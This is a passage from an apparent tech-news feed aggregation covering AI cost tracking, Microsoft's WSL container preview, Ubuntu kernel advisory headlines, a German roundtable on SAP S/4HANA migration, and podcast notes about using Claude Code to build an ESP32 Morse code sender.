The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.

The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.

The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.

The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.

—

New Tech Forum provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all inquiries to doug_dineley@foundryco.com.

]]> <![CDATA[WSL container: A quiet revolution for Windows development]]> https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/ https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/ Thu, 23 Jul 2026 11:07:20 +0200 🔧 AI Nachrichten tsecurity.de

Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.

Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a VS Code Server in every container you’re building and testing. If you’re working with Kubernetes, that’s even more complexity that needs to be managed, dragging you away from code.

I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.

So, it was good to see Microsoft make several announcements around WSL at Build 2026 as part of a push to make Windows a developer platform again. The first, an improved WSL3, is still some way away, but the second, WSL-native container support, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.

Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.

Getting started with WSL container

WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter wsl --update --pre-release.

This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering wslc, which should list the available commands. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).

Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.

Calling Linux containers from Windows applications

Things get more interesting when you start to use the WSL container API from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.

The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided sample code to show you what’s possible at this early stage.

Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.

It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.

Manage Linux containers from Windows

If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the WSL Container Desktop, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the Windows App SDK installed, and some features require access to the Azure CLI.

WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.

Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.

Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.

Run Kubernetes inside Windows for cloud-native development

One of the more useful features of WSL Container Desktop is the ability to quickly stand up a K3s Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own Headlamp UI, making it easy to go between your development environment and a production Kubernetes cluster.

It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.

The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.

]]> <![CDATA[USN-8597-1: Linux kernel (IBM) vulnerabilities]]> https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/ https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/ Thu, 23 Jul 2026 10:46:09 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8575-2: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/ Thu, 23 Jul 2026 10:31:09 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8576-2: Linux kernel (NVIDIA Tegra) vulnerabilities]]> https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/ https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/ Thu, 23 Jul 2026 10:31:00 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8595-1: Linux kernel (Oracle) vulnerabilities]]> https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/ https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/ Thu, 23 Jul 2026 10:20:43 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8596-1: Linux kernel (NVIDIA) vulnerabilities]]> https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/ https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/ Thu, 23 Jul 2026 10:20:28 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8594-1: Linux kernel (OEM) vulnerabilities]]> https://tsecurity.de/de/3688325/unix-server/usn-8594-1-linux-kernel-oem-vulnerabilities/ https://tsecurity.de/de/3688325/unix-server/usn-8594-1-linux-kernel-oem-vulnerabilities/ Thu, 23 Jul 2026 10:01:08 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8574-2: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/ Thu, 23 Jul 2026 10:01:06 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8593-1: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3688306/unix-server/usn-8593-1-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3688306/unix-server/usn-8593-1-linux-kernel-vulnerabilities/ Thu, 23 Jul 2026 09:46:45 +0200 🐧 Unix Server tsecurity.de <![CDATA[SAP S/4HANA-Transformation zwischen Aufbruch und RealitĂ€t]]> https://tsecurity.de/de/3687936/it-security-nachrichten/sap-s4hana-transformation-zwischen-aufbruch-und-realitaet/ https://tsecurity.de/de/3687936/it-security-nachrichten/sap-s4hana-transformation-zwischen-aufbruch-und-realitaet/ Thu, 23 Jul 2026 06:09:16 +0200 📰 IT Security Nachrichten tsecurity.de
ERP SAP Studie 27

Ob hybrides Betriebsmodell oder Kostenfrage, am Ende entscheidet ĂŒber den Projekterfolg nicht allein die Technologie

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hasan as’ari – shutterstock.com

SAP-Anwenderunternehmen stehen unter Druck, auf SAP S/4HANA zu wechseln, weil die Mainstream-Wartung fĂŒr SAP ERP (SAP ECC 6.0) Ende 2027 auslĂ€uft und die bis Ende 2030 geltende erweiterte Wartung kostenpflichtig ist.

Zwar stellt SAP mit der „SAP ERP, Private Edition, Transition Option“ eine weitere WartungsverlĂ€ngerung bis 2033 in Aussicht. Da diese einer Neuimplementierung gleichkommt, bleibt SAP-Kunden mehr Zeit fĂŒr die Planung, die Analyse und das Changemanagement. Der Nachteil: Wer diese Option nutzt, lĂ€uft Gefahr, technologisch ins Hintertreffen zu geraten, da Innovationen nahezu ausschließlich fĂŒr SAP S/4HANA bereitgestellt werden.

Zögerliche SAP-S/4HANA-Transformation trotz Wartungsdruck

Obwohl der Druck hoch ist, hat eine große Zahl der SAP-Bestandskunden die Transformation auf die seit 2015 verfĂŒgbare ERP-Suite offenbar noch nicht vollzogen. Eine COMPUTERWOCHE-Expertenrunde zeigte, wo die grĂ¶ĂŸten HĂŒrden liegen und was erfolgreiche Projekte auszeichnet.

Warum etliche Unternehmen die Transformation vor dem regulĂ€ren Wartungsende scheuen und stattdessen zwei Prozent Mehrkosten fĂŒr die erweiterte Wartung einkalkulieren, brachte ein Teilnehmender auf den Punkt: Firmen haben ĂŒber Jahrzehnte in ihre SAP-ERP-Lösung investiert und sie an individuelle Prozessanforderungen angepasst, damit die AblĂ€ufe entlang der Supply Chain reibungslos laufen. Er habe daher in den vergangenen zehn Jahren keinen Kunden erlebt, der freiwillig umsteigen wollte. Alle hĂ€tten gesagt, dass sie mĂŒssen.

Nach Erfahrungswerten eines weiteren Experten nutzen erst rund 20 Prozent der SAP-Kunden SAP S/4HANA als Kernapplikation produktiv, unter anderem, weil entsprechende Transformationsprojekte auf sieben bis neun Jahre angelegt sind.

Altlasten bremsen die SAP-S/4HANA-Transformation

Unternehmen, die sich fĂŒr den Wechsel entscheiden, verzichten hĂ€ufig auf jede Modernisierung. Sie vollziehen einen Eins-zu-eins-Umstieg ohne Code-Modifikation, sei es in Form einer System Conversion (Brownfield-Ansatz) oder per Lift and Shift in SAP Cloud ERP Private (frĂŒher: SAP S/4HANA Cloud Private Edition). Dabei ist eine große Zahl von SAP-ERP-Installationen gar nicht zukunftsfĂ€hig, weil sie auf Prozessen aus den 1990er Jahren basieren und im Lauf der Jahre durch zahlreiche Eigenentwicklungen erweitert wurden.

Nicht selten gibt es bis zu mehrere tausend kundeneigene Programme im Z/Y-Namensraum, die zum Teil nicht mehr genutzt werden und das System unnötig belasten. Die Experten waren sich einig, dass eine solche rein technische Migration, bei der Altlasten wie ABAP-Eigenentwicklungen mitgeschleppt werden, keinen Mehrwert fĂŒr das Unternehmen bringt.

Es muss geprĂŒft werden, welche Eigenentwicklungen beibehalten werden, weil sie wettbewerbsdifferenzierend und damit geschĂ€ftskritisch sind, und welche gelöscht werden mĂŒssen, weil sie nicht genutzt werden oder weil es dafĂŒr inzwischen SAP-Standardfunktionen gibt. Handlungsbedarf besteht auch bei einer dreistelligen Anzahl von Buchungskreisen, von denen niemand weiß, welche noch benötigt werden, oder bei zahlreichen Dubletten in den Kreditoren- und Debitorenstammdaten.

Studie “SAP S4HANA”: Sie können sich noch beteiligen!
Zum Thema SAP S4HANA fĂŒhrt die COMPUTERWOCHE derzeit eine Multi-Client-Studie unter IT-Verantwortlichen durch. Haben Sie Fragen zu dieser Studie oder wollen Partner bei dieser Studie werden, helfen wir Ihnen unter research-sales@foundryco.com gerne weiter.

Migrations-Tools und KI-Agenten beschleunigen den Umstieg

Um diesen PrĂŒf- und Bereinigungsaufwand zu bewĂ€ltigen, bietet SAP mehrere Tools, um die Transformation auf SAP S/4HANA zu vereinfachen: darunter SAP Activate, SAP Cloud ALM, Migration Cockpit, Readiness Check, Custom-Code-Check oder Modifikationsabgleich. ErgĂ€nzt werden sie durch Lösungen wie Signavio fĂŒr die Prozessanalyse. Die Experten schĂ€tzen den Effizienzgewinn durch solche Migrationswerkzeuge auf 30 bis 50 Prozent.

ZusĂ€tzliche ProduktivitĂ€t versprechen KI-Agenten, die Altsysteme automatisiert analysieren, Code bereinigen und DatenflĂŒsse transformieren. Das reduziert den Migrationsaufwand und beschleunigt den Umstieg.

Scope-Management als SchlĂŒssel fĂŒr den Projekterfolg

Einig waren sich die Teilnehmenden, dass SAP-S/4HANA-Transformationsprojekte in der Regel nicht an der Technologie scheitern, sondern an einer mangelhaften Scope-Definition und am unzureichenden Changemanagement.

Ein Scope-Management vor dem Projektstart, das berĂŒcksichtigt, wie viel VerĂ€nderung der IT-Organisation und den Fachbereichen zugemutet werden kann, sei essenziell fĂŒr den Erfolg, sagte einer der Teilnehmenden. Es erfordert die FĂ€higkeit zu priorisieren und ein iteratives Vorgehen, bei dem zunĂ€chst geschĂ€ftskritische Must-haves und Quick Wins umgesetzt werden. Weniger wichtige Nice-to-haves folgen spĂ€ter. Wer dagegen in der Konzeptionsphase bereits den großen Wurf anstrebt, wird voraussichtlich scheitern. Als Beispiel wurde der direkte Umstieg auf ein SAP-S/4HANA-Kernsystem genannt, das nach dem Clean-Core-Ansatz von nicht mehr lauffĂ€higen Programmen und obsoleten Erweiterungen bereinigt ist.

Genauso wichtig ist ein Change-Management, das Mitarbeitende von Beginn an einbezieht, die nötige Akzeptanz schafft und vom Top-Management aktiv unterstĂŒtzt wird, sowie eine verbindliche Governance mit klaren Zielvorgaben. Unverzichtbar ist auch die Einbindung der Fachbereiche. Sie stellt die grĂ¶ĂŸte Herausforderung dar, da Unternehmen befĂŒrchten, dass durch die SAP-S/4HANA-Transformation zu viele personelle Ressourcen gebunden werden, die dann fĂŒr Kernaufgaben fehlen. Kommt es vor, dass IT und Fachbereiche als Antipoden agieren, sollte ein Change-Coach als Vermittler eingesetzt werden.

Hybride Betriebsmodelle setzen sich langfristig durch

Bereits vor dem Projektstart muss abschließend geklĂ€rt sein, welches Betriebsmodell fĂŒr SAP S/4HANA am besten zu einem Unternehmen und seinen Zielen passt, auch mit Blick auf regulatorische Anforderungen. Das ist hĂ€ufig nicht der Fall, sodass das Projektteam unnötig Zeit damit verbringt, das passende Betriebsmodell zu ermitteln. Das bremst Transformationsvorhaben aus.

Nach Ansicht eines Teilnehmenden wird sich langfristig ein hybrides Betriebsmodell durchsetzen, bei dem der SAP-Kunde entscheidet, welche Elemente der SAP-S/4HANA-Landschaft in einer Hyperscaler-Cloud, einer souverĂ€nen Cloud und/oder On-Premises laufen. Eine weitere, weitgehend unbekannte Möglichkeit ist der Betrieb im Rahmen der Customer-Data-Center-Option (CDC) von SAP Cloud ERP Private (frĂŒher: SAP S/4HANA Cloud Private Edition), die aus GrĂŒnden wie Datenschutz, Leistung und SouverĂ€nitĂ€t eine interessante Alternative sein kann.

Mehrere Experten stellen darĂŒber hinaus fest, dass die vollwertige SaaS-Lösung SAP Cloud ERP Public (frĂŒher: SAP S/4HANA Cloud Public Edition) inzwischen verstĂ€rkt eingesetzt wird. Sie stellt vorkonfigurierte Kern-ERP-Funktionen (Best Practices) bereit und lĂ€sst sich relativ schnell einfĂŒhren, ermöglicht aber kaum individuelle Anpassungen. Diese Abstriche nehmen Unternehmen in Kauf, um von regelmĂ€ĂŸigen, automatischen Upgrades und technologischen Innovationen zu profitieren.

Kritisiert wurde allerdings, dass die Cloud-Diskussion hĂ€ufig unter begrifflichen UnschĂ€rfen leidet. So macht der Betrieb von SAP S/4HANA in einer Hyperscaler- oder SAP-Cloud die Lösung noch lange nicht zum Software-as-a-Service-Angebot. Solche Ungenauigkeiten irritierten SAP-Kunden und bremsten die Entscheidungsfindung. Letztlich sind beim Cloud-Betrieb auch die Kosten entscheidend. Zwar wollen viele Unternehmen anfangs maximale Sicherheit mit Private Network und Confidential Computing, wĂ€hlen dann aber gĂŒnstigere Commercial-Cloud-Angebote. Ausnahmen bilden regulierte Branchen und der öffentliche Sektor.

Ob hybrides Betriebsmodell oder Kostenfrage, am Ende entscheidet ĂŒber den Projekterfolg nicht allein die Technologie, sondern auch, wie diszipliniert Scope und Wandel im Unternehmen gesteuert werden.

Teilnehmer der Round-Table “SAP S4HANA 2027”

Albrecht Munz, HPE

Albrecht Munz, HPE: 

„Die SAP-S/4HANA-Migration ist primĂ€r ein erster technischer Pflichtlauf, der die IT seitige Grundlage fĂŒr die digitale Transformation schaffen kann. Dass viele Unternehmen hier stagnieren, liegt auch am in diesem Zusammenhang hĂ€ufig anzutreffenden Cloud-Washing: Das Hosting eines ERP-Systems in der Cloud liefert noch lange nicht die Innovations- und Business-Effekte einer wirklich Cloud-nativen SaaS-Architektur.“

Harald Becker / Hewlett-Packard GmbH

Anke Frier, Lufthansa Industry Solutions

Anke Frier, Lufthansa Industry Solutions:

„Unternehmen, die sich fĂŒr eine technische SAP-S/4HANA-Transformation entschieden haben, dĂŒrfen diese nicht mit dem Go-Live als abgeschlossen betrachten. Der langfristige Erfolg hĂ€ngt davon ab, wie konsequent danach die neuen technologischen Möglichkeiten genutzt werden, um Prozesse umzugestalten, zu digitalisieren und durch KI-Einsatz zu unterstĂŒtzen. Erst dadurch entsteht ein messbarer Business Value.“

Sonja BrĂŒggemann / Lufthansa Industry Solutions GmbH & Co. KG

Peter BĂŒermann, Microsoft

Peter BĂŒermann, Microsoft:

„Der optimale Zeitpunkt fĂŒr den Umstieg auf SAP S/4HANA ist jetzt. Die Reife der Migrationswerkzeuge, standardisierte Vorgehensmodelle und die umfangreiche Projekterfahrung der SAP-Partnerlandschaft reduzieren das Risiko deutlich. Damit sind die wesentlichen HĂŒrden vergangener Jahre weitgehend beseitigt und Unternehmen profitieren von einer schnelleren Implementierung, geringeren Kosten und einer höherer ProjektqualitĂ€t.“

Microsoft Deutschland GmbH

Roland Storbeck, Natuvion

Roland Storbeck, Natuvion:

„Wirklich erfolgreich sind die SAP-S/4HANA-Migrationen, deren Scope noch vor dem Projektstart klar definiert und gemanagt wird. Wer zu Beginn zu hohe AnsprĂŒche hat und jeden Prozess umdrehen will, dessen Vorhaben scheitert hĂ€ufig schon in der Konzeptionsphase. Zudem muss jedes Unternehmen die Frage beantworten, wie viel Change seine IT- und Business-Organisation ĂŒberhaupt vertrĂ€gt. Neben einem klaren Scope ist dringend zu empfehlen, den eigenen Datenbestand vor Projektstart zu analysieren und aufzurĂ€umen.“

VOGUS – Wolfgang Voglhuber / Natuvion GmbH

Matthias Draschner, smartShift

Matthias Draschner, smartShift:

„FĂŒr viele Unternehmen ist SAP in erster Linie eine ĂŒber Jahre oder sogar Jahrzehnte gewachsene IT-Landschaft, die geschĂ€ftskritische Prozesse unterstĂŒtzt und absichert. Entsprechend besteht die berechtigte Erwartung, dass diese Prozesse auch nach der Migration auf SAP S/4HANA zuverlĂ€ssig und möglichst unverĂ€ndert weiterlaufen. Gleichzeitig bietet die SAP-S/4HANA-Transformation die Chance, Custom Code entweder zu modernisieren und auf die Anforderungen einer Cloud-fĂ€higen Architektur auszurichten oder zu entfernen, sofern er nicht mehr benötigt wird. Spezielle Analyse- und Automatisierungstools unterstĂŒtzen diesen Prozess.“

smartShift Technologies GmbH

]]> <![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]> https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/ https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/ Thu, 23 Jul 2026 02:06:01 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Clean by the host.

Hello, again. This is Trey.

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.

If you wish to catch up on earlier episodes, you can find them on my HPR profile page https://www.hackerpublicradio.org/correspondents/0394.html

It is hard to believe that I started this project and the HPR series to document it more than a year ago. Time flies. Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside. And once I set it aside, it was difficult to get back to again. The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.

We live in a different world now than we did when I began this project. Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs. "Vibe coding" is transforming the way we make software, and now everyone is a developer.

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work. We are blessed to have access to a wide range of training and to powerful tools which support the process. Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more. My role is not that of a developer, and I have had no need for Claude Code at work. There are plenty of other tools for me to use.

But at home, I thought... I could install Claude Code at home to experiment with and to learn. And then it hit me. I wonder if I could use Claude Code to help me with my stalled CYD project.

"Hello, my name is Trey, and I am a fraud."

OK. I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

As I mentioned, I was unable to use the laptop on which I created the original GUI code. But no worries, because It was all on GitHub, right?

So, I began by trying to install Claude Code on one of my Ubuntu machines. That failed miserably, and all the instructions I found online recommended running it on Windows. So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11. Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

Once I went through all the hoops for installing and setting up my basic subscription, I got to work. I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan. So my first prompt was as follows:

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

Claude asked me for the URL for my Github repository, and I provided it. After thinking for a bit, it produced a project plan.

CYD Morse Sender — Step-by-Step Build Plan

What You Already Have

- 3 fully designed LVGL screens (Send, Config, Keyboard)

- 7 send buttons with green styling on the Send Screen

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

- Text area + LVGL keyboard widget on Keyboard Screen

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

---

Phase 1: Fix Touchscreen Input

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.

Phase 2: Persistent Message Storage

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

Phase 3: Config Screen — Slot Selection & Speed

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

Phase 4: Keyboard Screen — Capture and Save Text

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

Phase 5: Morse Code Engine

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

Phase 6: Non-Blocking LED Transmission

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay(). LED on GPIO 17 (blue).

Phase 7: Wire the Send Buttons

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

Phase 8: Integration & Polish

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

---

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

This was wild! Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out". Ugh. This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - https://hackerpublicradio.org/eps/hpr4532/index.html ) and not the ones that I finally got working properly (Episode 07 – HPR4624 - https://hackerpublicradio.org/eps/hpr4624/index.html ). That was my own fault. Did I mention that I don't get Git? I REALLY need to learn to properly use Git!

But, we have a plan, broken down by eight numbered phases. And they seem to address all the functionality I wanted with a few additional things I had not thought about. Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

Alright. Let's see what we can do. The first phase is to fix the touchscreen input.

Claude took me through it step-by-step, asking as it needed to read specific project files.

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test. I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

Well, that is... interesting. The display looked nothing like it was supposed to. There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.

I spent the next hour or so trying to explain what I was seeing to a chat bot. Claude recommended potential fixes which either did nothing or made the situation worse. I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.

Then I had a thought. I prompted Claude:

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed. It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file. It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.

It recommended changes, and then asked permission to make those changes, file by file. .h files & .c files, Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time. Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes. But now it was not asking additional permission to write to each of the impacted files.

Next, Code compiled and downloaded. Different screen, but not right. Again, I took a picture and gave it to Claude to analyze. So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

The test pattern was supposed to cover the entire rectangular screen. But parts of the pattern were in a square on the screen and parts were not. Another photograph and analysis, told Claude that there were some rotation/screensize issues.

We repeated this several times. Some resulted in improvement, and others did not.

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app. But I noticed something interesting about myself and about the process.

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution. Then another problem would repeat the cycle. Success in the end was great, but the emotional extremes during the process were not always pleasant.

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

But I also ran into another issue. Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were. But in reality, the output of the test pattern was rotated 90 degrees from the actual screen. It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates. It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

Again, while it was frustrating, it was much less stressful.

We proceeded to Phase 2: Persistent Message Storage where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

Next, we combined elements of Phase 5: Morse Code Engine , Phase 6: Non-Blocking LED Transmission , and Phase 7: Wire the Send Buttons together. Building the morse code engine was an area I had been thinking about for a while. I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series. The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.

So, I was happy that we were building the morse code engine directly. The code for it may be found in morse.h, which uses a constant character lookup table to define each character. Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series. It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

Then, Phase 3: Config Screen — Slot Selection & Speed allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure. This forced us to work on Phase 4: Keyboard Screen — Capture and Save Text which is used to type the entries for each Send button. At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

During this phase we discovered several bugs which seemed to cause random freezes. Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

